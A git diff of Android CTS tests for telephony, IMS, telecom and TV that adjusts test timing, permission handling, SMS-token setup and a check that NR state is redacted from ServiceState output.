diff --git a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
index 299ffba..f8945ce 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockConnection.java
@@ -60,6 +60,7 @@
     private PhoneAccountHandle mPhoneAccountHandle;
     private RemoteConnection mRemoteConnection = null;
     private RttTextStream mRttTextStream;
+    private boolean mAutoDestroy = true;
 
     private SparseArray<InvokeCounter> mInvokeCounterMap = new SparseArray<>(13);
 
@@ -91,7 +92,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -99,7 +100,7 @@
         super.onReject(rejectReason);
         setDisconnected(new DisconnectCause(DisconnectCause.REJECTED,
                 Integer.toString(rejectReason)));
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -109,7 +110,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.reject();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -137,7 +138,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.disconnect();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -147,7 +148,7 @@
         if (mRemoteConnection != null) {
             mRemoteConnection.abort();
         }
-        destroy();
+        if (mAutoDestroy) destroy();
     }
 
     @Override
@@ -279,6 +280,14 @@
         }
     }
 
+    /**
+     * Do not destroy after setting disconnected for cases that need finer state control. If
+     * disabled the caller will need to call destroy manually.
+     */
+    public void disableAutoDestroy() {
+        mAutoDestroy = false;
+    }
+
     public int getCurrentState()  {
         return mState;
     }
diff --git a/tests/tests/telephony/OWNERS b/tests/tests/telephony/OWNERS
index 1111752..d28e9ff 100644
--- a/tests/tests/telephony/OWNERS
+++ b/tests/tests/telephony/OWNERS
@@ -7,11 +7,10 @@
 tgunn@google.com
 jminjie@google.com
 shuoq@google.com
-nazaninb@google.com
 sarahchin@google.com
 xiaotonj@google.com
 huiwang@google.com
 jayachandranc@google.com
 chinmayd@google.com
 amruthr@google.com
-
+sasindran@google.com
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
index b8eb8bf..53b6a50 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
+++ b/tests/tests/telephony/TestSmsRetrieverApp/src/android/telephony/cts/smsretriever/MainActivity.java
@@ -21,49 +21,42 @@
 
 import android.app.Activity;
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
-import android.content.Context;
 import android.content.Intent;
-import android.content.IntentFilter;
 import android.os.Bundle;
 import android.os.RemoteCallback;
 import android.telephony.SmsManager;
 import android.util.Log;
 
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
 public class MainActivity extends Activity {
     private static final String SMS_RETRIEVER_ACTION = "CTS_SMS_RETRIEVER_ACTION";
+    private static String sToken;
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        Intent intent = new Intent("android.telephony.cts.action.SMS_RETRIEVED")
-                        .setComponent(new ComponentName(
-                                "android.telephony.cts.smsretriever",
-                                "android.telephony.cts.smsretriever.SmsRetrieverBroadcastReceiver"));
-        PendingIntent pIntent = PendingIntent.getBroadcast(
-                getApplicationContext(), 0, intent, PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
-        String token = null;
-        try {
-            token = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
-                    "testprefix1,testprefix2", pIntent);
-        } catch (Exception e) {
-            Log.w("MainActivity", "received Exception e:" + e);
-        }
-
         if (getIntent().getAction() == null) {
+            Intent intent = new Intent("android.telephony.cts.action.SMS_RETRIEVED")
+                            .setComponent(new ComponentName(
+                                    getApplicationContext(),
+                                    SmsRetrieverBroadcastReceiver.class));
+            PendingIntent pIntent = PendingIntent.getBroadcast(getApplicationContext(), 0, intent,
+                    PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
+            try {
+                sToken = SmsManager.getDefault().createAppSpecificSmsTokenWithPackageInfo(
+                        "testprefix1,testprefix2", pIntent);
+            } catch (Exception e) {
+                Log.w("MainActivity", "received Exception e:" + e);
+            }
+
             Bundle result = new Bundle();
             result.putString("class", getClass().getName());
-            result.putString("token", token);
+            result.putString("token", sToken);
             sendResult(result);
         } else {
             // Launched by broadcast receiver
             assertThat(getIntent().getStringExtra("message"),
-                    equalTo("testprefix1This is a test message" + token));
+                    equalTo("testprefix1This is a test message" + sToken));
             Intent bIntent = new Intent(SMS_RETRIEVER_ACTION);
             sendBroadcast(bIntent);
             finish();
@@ -73,6 +66,4 @@
     public void sendResult(Bundle result) {
         getIntent().<RemoteCallback>getParcelableExtra("callback").sendResult(result);
     }
-
-
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
index 3d03392..5c9d8b9 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/PhoneStateListenerTest.java
@@ -996,6 +996,8 @@
                     InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
         }
 
+        // Disable suppressing blocking.
+        TelephonyUtils.endBlockSuppression(InstrumentationRegistry.getInstrumentation());
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
index b3cda70..5d76420 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ServiceStateTest.java
@@ -170,24 +170,32 @@
 
     @Test
     public void testNrStateRedacted() {
+        // Verify that NR State is not leaked in user builds.
+        if (Build.IS_DEBUGGABLE) return;
         final TelephonyManager tm = getContext().getSystemService(TelephonyManager.class);
 
-        // Verify that NR State is not leaked in user builds.
-        if (!Build.IS_DEBUGGABLE) {
-            final String sss = tm.getServiceState().toString();
-            // The string leaked in previous releases is "nrState=<val>"; test that there is
-            // no matching or highly similar string leak, such as:
-            // nrState=NONE
-            // nrState=0
-            // mNrState=RESTRICTED
-            // NRSTATE=NOT_RESTRICTED
-            // nrState = CONNECTED
-            // etc.
-            Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
-            Matcher m = p.matcher(sss);
-            // Need to use if (find) fail to ensure that the start and end are populated
-            if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
-        }
+        final NetworkRegistrationInfo nri = new NetworkRegistrationInfo.Builder()
+                .setTransportType(AccessNetworkConstants.TRANSPORT_TYPE_WWAN)
+                .setDomain(NetworkRegistrationInfo.DOMAIN_PS)
+                .build();
+        nri.setNrState(NetworkRegistrationInfo.NR_STATE_RESTRICTED);
+
+        final ServiceState ss = new ServiceState();
+        ss.addNetworkRegistrationInfo(nri);
+        String sss = ss.toString();
+
+        // The string leaked in previous releases is "nrState=<val>"; test that there is
+        // no matching or highly similar string leak, such as:
+        // nrState=NONE
+        // nrState=0
+        // mNrState=RESTRICTED
+        // NRSTATE=NOT_RESTRICTED
+        // nrState = CONNECTED
+        // etc.
+        Pattern p = Pattern.compile("nrState\\s*=\\s*[a-zA-Z0-9_]+", Pattern.CASE_INSENSITIVE);
+        Matcher m = p.matcher(sss);
+        // Need to use if (find) fail to ensure that the start and end are populated
+        if (m.find()) fail("Found nrState reported as: " + sss.substring(m.start(), m.end()));
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 356a674..0e34d97 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -96,7 +96,13 @@
         CONTACTS.add(Uri.fromParts("tel", "+16505552323", null));
     }
 
+    // time to wait when testing APIs which enable or disable subscriptions. The time waiting
+    // to enable is longer because enabling a subscription can take longer than disabling
+    private static final int SUBSCRIPTION_DISABLE_WAIT_MS = 5000;
+    private static final int SUBSCRIPTION_ENABLE_WAIT_MS = 50000;
+
     private int mSubId;
+    private int mDefaultVoiceSubId;
     private String mPackageName;
 
     /**
@@ -150,6 +156,7 @@
 
         mSm = InstrumentationRegistry.getContext().getSystemService(SubscriptionManager.class);
         mSubId = SubscriptionManager.getDefaultDataSubscriptionId();
+        mDefaultVoiceSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
         mPackageName = InstrumentationRegistry.getContext().getPackageName();
     }
 
@@ -704,19 +711,81 @@
     }
 
     @Test
-    public void testSetUiccApplicationsEnabled() {
+    public void testSetUiccApplicationsEnabled() throws Exception {
         if (!isSupported()) return;
 
         boolean canDisable = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
                 (sm) -> sm.canDisablePhysicalSubscription());
         if (canDisable) {
+            Object lock = new Object();
+            AtomicBoolean functionCallCompleted = new AtomicBoolean(false);
+            // enabled starts off as true
+            AtomicBoolean valueToWaitFor = new AtomicBoolean(false);
+            TestThread t = new TestThread(new Runnable() {
+                @Override
+                public void run() {
+                    Looper.prepare();
+
+                    SubscriptionManager.OnSubscriptionsChangedListener listener =
+                            new SubscriptionManager.OnSubscriptionsChangedListener() {
+                                @Override
+                                public void onSubscriptionsChanged() {
+                                    if (valueToWaitFor.get() == mSm.getActiveSubscriptionInfo(
+                                            mSubId).areUiccApplicationsEnabled()) {
+                                        synchronized (lock) {
+                                            functionCallCompleted.set(true);
+                                            lock.notifyAll();
+                                        }
+                                    }
+                                }
+                            };
+                    mSm.addOnSubscriptionsChangedListener(listener);
+
+                    Looper.loop();
+                }
+            });
+
+            // Disable the UICC application and wait until we detect the subscription change to
+            // verify
+            t.start();
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
                     (sm) -> sm.setUiccApplicationsEnabled(mSubId, false));
-            assertFalse(mSm.getActiveSubscriptionInfo(mSubId).areUiccApplicationsEnabled());
 
+            synchronized (lock) {
+                if (!functionCallCompleted.get()) {
+                    lock.wait(SUBSCRIPTION_DISABLE_WAIT_MS);
+                }
+            }
+            if (!functionCallCompleted.get()) {
+                fail("testSetUiccApplicationsEnabled was not able to disable the UICC app on time");
+            }
+
+            // Enable the UICC application and wait again
+            functionCallCompleted.set(false);
+            valueToWaitFor.set(true);
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
                     (sm) -> sm.setUiccApplicationsEnabled(mSubId, true));
-            assertTrue(mSm.getActiveSubscriptionInfo(mSubId).areUiccApplicationsEnabled());
+
+            synchronized (lock) {
+                if (!functionCallCompleted.get()) {
+                    lock.wait(SUBSCRIPTION_ENABLE_WAIT_MS);
+                }
+            }
+            if (!functionCallCompleted.get()) {
+                fail("testSetUiccApplicationsEnabled was not able to enable to UICC app on time");
+            }
+
+            // Reset default data and voice subId as it may have been changed as part of the
+            // calls above
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                    (sm) -> sm.setDefaultDataSubId(mSubId));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                    (sm) -> sm.setDefaultVoiceSubscriptionId(mDefaultVoiceSubId));
+
+            // Other tests also expect that cellular data must be available if telephony is
+            // supported. Wait for that before returning.
+            final CountDownLatch latch = waitForCellularNetwork();
+            latch.await(10, TimeUnit.SECONDS);
         }
     }
 
@@ -796,7 +865,7 @@
 
             synchronized (lock) {
                 if (!setSubscriptionEnabledCallCompleted.get()) {
-                    lock.wait(5000);
+                    lock.wait(SUBSCRIPTION_DISABLE_WAIT_MS);
                 }
             }
             if (!setSubscriptionEnabledCallCompleted.get()) {
@@ -818,8 +887,7 @@
             // the test
             synchronized (lock) {
                 if (!setSubscriptionEnabledCallCompleted.get()) {
-                    // longer wait time on purpose as re-enabling can take a longer time
-                    lock.wait(50000);
+                    lock.wait(SUBSCRIPTION_ENABLE_WAIT_MS);
                 }
             }
             if (!setSubscriptionEnabledCallCompleted.get()) {
@@ -827,9 +895,11 @@
                 fail("setSubscriptionEnabled() did not work second time");
             }
 
-            // Reset default data subId as it may have been changed as part of the calls above
+            // Reset default subIds as they may have changed as part of the calls above
             ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
                     (sm) -> sm.setDefaultDataSubId(mSubId));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+                    (sm) -> sm.setDefaultVoiceSubId(mDefaultVoiceSubId));
 
             // Other tests also expect that cellular data must be available if telephony is
             // supported. Wait for that before returning.
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
index 8534440..9704813 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyCallbackTest.java
@@ -1041,6 +1041,9 @@
         // Test unregister
         unRegisterTelephonyCallback(mOnOutgoingSmsEmergencyNumberChanged == null,
                 mOutgoingEmergencySmsCallback);
+
+        // Disable suppressing blocking.
+        TelephonyUtils.endBlockSuppression(InstrumentationRegistry.getInstrumentation());
     }
 
     private ActiveDataSubscriptionIdListener mActiveDataSubscriptionIdCallback;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 11e5979..740a0c7 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -45,6 +45,7 @@
 import android.content.IntentFilter;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.net.ConnectivityManager;
 import android.net.wifi.WifiManager;
 import android.os.AsyncTask;
@@ -1451,9 +1452,11 @@
             return;
         }
         boolean is5gStandalone = getContext().getResources().getBoolean(
-                com.android.internal.R.bool.config_telephony5gStandalone);
+                Resources.getSystem().getIdentifier("config_telephony5gStandalone", "bool",
+                        "android"));
         boolean is5gNonStandalone = getContext().getResources().getBoolean(
-                com.android.internal.R.bool.config_telephony5gNonStandalone);
+                Resources.getSystem().getIdentifier("config_telephony5gNonStandalone", "bool",
+                        "android"));
         int[] deviceNrCapabilities = new int[0];
         if (is5gStandalone || is5gNonStandalone) {
             List<Integer> list = new ArrayList<>();
@@ -3558,15 +3561,15 @@
         }
     }
 
-    private void disableNrDualConnectivity() {
+    private int disableNrDualConnectivity() {
         if (!ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isRadioInterfaceCapabilitySupported(
                         TelephonyManager
                                 .CAPABILITY_NR_DUAL_CONNECTIVITY_CONFIGURATION_AVAILABLE))) {
-            return;
+            return TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED;
         }
 
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+        int result = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager,
                 (tm) -> tm.setNrDualConnectivityState(
                         TelephonyManager.NR_DUAL_CONNECTIVITY_DISABLE));
@@ -3575,9 +3578,12 @@
                 ShellIdentityUtils.invokeMethodWithShellPermissions(
                         mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
         // Only verify the result for supported devices on IRadio 1.6+
-        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6
+                && result != TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) {
             assertFalse(isNrDualConnectivityEnabled);
         }
+
+        return result;
     }
 
     @Test
@@ -3596,14 +3602,24 @@
         boolean isInitiallyEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
         boolean isNrDualConnectivityEnabled;
+        int result;
         if (isInitiallyEnabled) {
-            disableNrDualConnectivity();
+            result = disableNrDualConnectivity();
+            if (result == TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) {
+                return;
+            }
         }
 
-        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+
+        result = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager,
                 (tm) -> tm.setNrDualConnectivityState(
                         TelephonyManager.NR_DUAL_CONNECTIVITY_ENABLE));
+
+        if (result == TelephonyManager.ENABLE_NR_DUAL_CONNECTIVITY_NOT_SUPPORTED) {
+            return;
+        }
+
         isNrDualConnectivityEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
                 mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
         // Only verify the result for supported devices on IRadio 1.6+
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
index c707d0e..e7a6286 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsMmTelManagerTest.java
@@ -557,6 +557,9 @@
             assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
         } catch (SecurityException e) {
             fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (ImsException ignore) {
+            // We are only testing method permissions here, so the actual ImsException does not
+            // matter, since it shows that the permission check passed.
         }
         try {
             LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index e313886..4970d89 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -393,6 +393,9 @@
                 TestImsService.LATCH_CREATE_MMTEL);
         assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
                 sServiceConnector.getCarrierService().getMmTelFeature());
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
     }
 
     @Test
@@ -446,6 +449,10 @@
         // createMmTelFeature should be called.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_CREATE_MMTEL));
+
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
     }
 
     @Test
@@ -461,6 +468,9 @@
         // Framework did not call it.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_CREATE_MMTEL));
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
     }
 
     @Test
@@ -477,6 +487,9 @@
         // Framework did not call it.
         assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_CREATE_MMTEL));
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
     }
 
     @Test
@@ -3404,50 +3417,41 @@
         boolean isSingleRegistrationEnabledByCarrier =
                 sServiceConnector.getCarrierSingleRegistrationEnabled();
 
-        sSrcReceiver.waitForChanged();
-        int capability = sSrcReceiver.getCapability();
-
-        assertEquals(isSingleRegistrationEnabledOnDevice,
-                (ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE & capability) == 0);
-        assertEquals(isSingleRegistrationEnabledByCarrier,
-                (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
-
         ProvisioningManager provisioningManager =
                 ProvisioningManager.createForSubscriptionId(sTestSub);
         PersistableBundle bundle = new PersistableBundle();
         bundle.putBoolean(
-                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, false);
+                CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL,
+                !isSingleRegistrationEnabledByCarrier);
         sSrcReceiver.clearQueue();
         overrideCarrierConfig(bundle);
         sSrcReceiver.waitForChanged();
-        capability = sSrcReceiver.getCapability();
+        int capability = sSrcReceiver.getCapability();
 
-        assertEquals(false, (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
+        assertEquals(!isSingleRegistrationEnabledByCarrier,
+                (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
         try {
             automan.adoptShellPermissionIdentity();
-            //set the rcs config with single registration enabled
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_RCS_CONFIG_DEFAULT.getBytes(), false);
-            int res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
-            assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
             assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
-                    (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
+                    isSingleRegistrationEnabledOnDevice && !isSingleRegistrationEnabledByCarrier);
         } finally {
             automan.dropShellPermissionIdentity();
         }
 
         bundle = new PersistableBundle();
-        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL, true);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_IMS_SINGLE_REGISTRATION_REQUIRED_BOOL,
+                isSingleRegistrationEnabledByCarrier);
         sSrcReceiver.clearQueue();
         overrideCarrierConfig(bundle);
         sSrcReceiver.waitForChanged();
         capability = sSrcReceiver.getCapability();
 
-        assertEquals(true, (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
+        assertEquals(isSingleRegistrationEnabledByCarrier,
+                (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
         try {
             automan.adoptShellPermissionIdentity();
             assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
-                    isSingleRegistrationEnabledOnDevice);
+                    isSingleRegistrationEnabledOnDevice && isSingleRegistrationEnabledByCarrier);
         } finally {
             automan.dropShellPermissionIdentity();
         }
@@ -3462,38 +3466,35 @@
         try {
             automan.adoptShellPermissionIdentity();
             assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
-                    !isSingleRegistrationEnabledOnDevice);
+                    !isSingleRegistrationEnabledOnDevice && isSingleRegistrationEnabledByCarrier);
         } finally {
             automan.dropShellPermissionIdentity();
         }
 
         sSrcReceiver.clearQueue();
-        sServiceConnector.setDeviceSingleRegistrationEnabled(true);
+        sServiceConnector.setDeviceSingleRegistrationEnabled(isSingleRegistrationEnabledOnDevice);
         sSrcReceiver.waitForChanged();
         capability = sSrcReceiver.getCapability();
 
-        assertEquals(true, (ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE & capability) == 0);
+        assertEquals(isSingleRegistrationEnabledOnDevice,
+                (ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE & capability) == 0);
         try {
             automan.adoptShellPermissionIdentity();
-            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(), true);
-        } finally {
-            automan.dropShellPermissionIdentity();
-        }
-
-        try {
-            automan.adoptShellPermissionIdentity();
-            //set the rcs config with single registration disabled
-            provisioningManager.notifyRcsAutoConfigurationReceived(
-                    TEST_RCS_CONFIG_SINGLE_REGISTRATION_DISABLED.getBytes(), false);
-            int res = waitForIntResult(TestAcsClient.getInstance().getActionQueue());
-            assertEquals(res, TestAcsClient.ACTION_CONFIG_CHANGED);
-            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(), true);
+            assertEquals(provisioningManager.isRcsVolteSingleRegistrationCapable(),
+                    isSingleRegistrationEnabledOnDevice && isSingleRegistrationEnabledByCarrier);
         } finally {
             automan.dropShellPermissionIdentity();
         }
 
         sServiceConnector.setDeviceSingleRegistrationEnabled(null);
         overrideCarrierConfig(null);
+        sSrcReceiver.waitForChanged();
+        capability = sSrcReceiver.getCapability();
+
+        assertEquals(isSingleRegistrationEnabledOnDevice,
+                (ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE & capability) == 0);
+        assertEquals(isSingleRegistrationEnabledByCarrier,
+                (ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE & capability) == 0);
     }
 
     /**
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 055b75d..4938737 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -37,6 +37,8 @@
 import android.test.MoreAsserts;
 import android.tv.cts.R;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.util.Arrays;
@@ -113,6 +115,11 @@
     private static final String[] NON_EXISTING_COLUMN_NAMES =
             {"non_existing_column", "another non-existing column --"};
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+
     private String mInputId;
     private ContentResolver mContentResolver;
     private Uri mChannelsUri;
@@ -123,6 +130,11 @@
         if (!Utils.hasTvInputFramework(getContext())) {
             return;
         }
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS, PERMISSION_WRITE_EPG_DATA);
         mInputId = TvContract.buildInputId(
                 new ComponentName(getContext(), StubTunerTvInputService.class));
         mContentResolver = getContext().getContentResolver();
@@ -138,6 +150,9 @@
         mContentResolver.delete(Channels.CONTENT_URI, null, null);
         mContentResolver.delete(RecordedPrograms.CONTENT_URI, null, null);
         mContentResolver.delete(WatchNextPrograms.CONTENT_URI, null, null);
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
         super.tearDown();
     }
 
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 3504568..87b8913 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -68,6 +68,17 @@
     private static final TvContentRating DUMMY_RATING = TvContentRating.createRating(
             "com.android.tv", "US_TV", "US_TV_PG", "US_TV_D", "US_TV_L");
 
+    private static final String PERMISSION_ACCESS_WATCHED_PROGRAMS =
+            "com.android.providers.tv.permission.ACCESS_WATCHED_PROGRAMS";
+    private static final String PERMISSION_WRITE_EPG_DATA =
+            "com.android.providers.tv.permission.WRITE_EPG_DATA";
+    private static final String PERMISSION_ACCESS_TUNED_INFO =
+            "android.permission.ACCESS_TUNED_INFO";
+    private static final String PERMISSION_TV_INPUT_HARDWARE =
+            "android.permission.TV_INPUT_HARDWARE";
+    private static final String PERMISSION_TUNER_RESOURCE_ACCESS =
+            "android.permission.TUNER_RESOURCE_ACCESS";
+
     private String mStubId;
     private TvInputManager mManager;
     private LoggingCallback mCallback = new LoggingCallback();
@@ -98,6 +109,16 @@
         if (!Utils.hasTvInputFramework(mActivity)) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_ACCESS_WATCHED_PROGRAMS,
+                        PERMISSION_WRITE_EPG_DATA,
+                        PERMISSION_ACCESS_TUNED_INFO,
+                        PERMISSION_TUNER_RESOURCE_ACCESS);
+
         mInstrumentation = getInstrumentation();
         mTvView = findTvViewById(R.id.tvview);
         mManager = (TvInputManager) mActivity.getSystemService(Context.TV_INPUT_SERVICE);
@@ -113,9 +134,6 @@
         }
         assertNotNull(mStubTunerTvInputInfo);
         mTvView.setCallback(mMockCallback);
-
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity();
     }
 
     @Override
@@ -141,7 +159,6 @@
 
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
-
         super.tearDown();
     }
 
@@ -397,6 +414,14 @@
         if (mManager == null) {
             return;
         }
+
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        PERMISSION_WRITE_EPG_DATA,
+                        PERMISSION_TV_INPUT_HARDWARE);
+
         // Update hardware device list
         int deviceId = 0;
         boolean hardwareDeviceAdded = false;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index a562734..13effcd 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
